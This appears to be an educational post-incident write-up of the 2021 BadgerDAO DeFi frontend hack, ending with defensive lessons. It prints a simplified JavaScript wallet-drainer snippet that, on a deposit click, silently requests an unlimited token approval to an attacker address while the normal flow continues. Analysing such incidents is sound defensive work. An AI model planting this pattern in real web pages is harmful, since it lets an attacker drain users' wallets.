BadgerDAO Hack
The Story
On December 2, 2021, BadgerDAO, a DeFi protocol focused on bringing Bitcoin to the Ethereum ecosystem, suffered a major security breach resulting in the loss of approximately $120 million in user funds. Unlike many DeFi hacks that targeted smart contract vulnerabilities, this attack compromised the project's frontend web application.
For weeks before the attack was discovered, the hacker had injected malicious scripts into the BadgerDAO website. These scripts prompted users to approve transactions that granted the attacker access to their tokens. When the hack was finally uncovered, the protocol was immediately paused, but significant damage had already been done.
The largest single victim lost 896 Bitcoin (worth approximately $50 million at the time). The attack highlighted the often-overlooked vulnerability of centralized frontend interfaces in the decentralized finance ecosystem, demonstrating that blockchain security extends beyond smart contract code.
Technical Analysis
The BadgerDAO hack was executed through a sophisticated frontend attack, specifically a user interface (UI) supply chain attack. Here's how it worked:
- The attacker gained access to the project's Cloudflare account, which controlled the DNS settings for the BadgerDAO website
- They injected malicious JavaScript code into the website that would trigger when users visited
- The script presented users with transaction approval requests that looked legitimate, but actually granted the attacker permission to access their funds
- Once permissions were granted, the attacker executed transfers to drain victim wallets
Example of the malicious code injected into the website:
// Simplified representation of the malicious JavaScript
async function injectMaliciousApproval() {
// Wait for wallet connection
const provider = await detectEthereumProvider();
const signer = provider.getSigner();
const user = await signer.getAddress();
// Create malicious approval transaction
const tokenContract = new ethers.Contract(
TOKEN_ADDRESS,
ERC20_ABI,
provider
);
// Request unlimited approval to attacker's address
await tokenContract.connect(signer).approve(
ATTACKER_ADDRESS,
ethers.constants.MaxUint256 // Unlimited approval
);
}
// Execute when user interacts with vault
document.getElementById('deposit-button').addEventListener('click', () => {
// Show legitimate transaction but also trigger malicious one
injectMaliciousApproval();
// Continue with normal operation to avoid suspicion
originalDepositFunction();
});
The key issue was that the malicious code requested unlimited token approvals (MaxUint256), which gave the attacker permission to transfer any amount of the approved token from the victim's wallet.
Lessons Learned
- Frontend security is as important as smart contract security in DeFi
- Users should verify transaction details carefully before approving, especially token approvals
- DeFi protocols should implement Multi-Factor Authentication for administrative access
- Content Security Policy (CSP) headers can help prevent injection of unauthorized scripts
- Regular security audits should include frontend and infrastructure components, not just contracts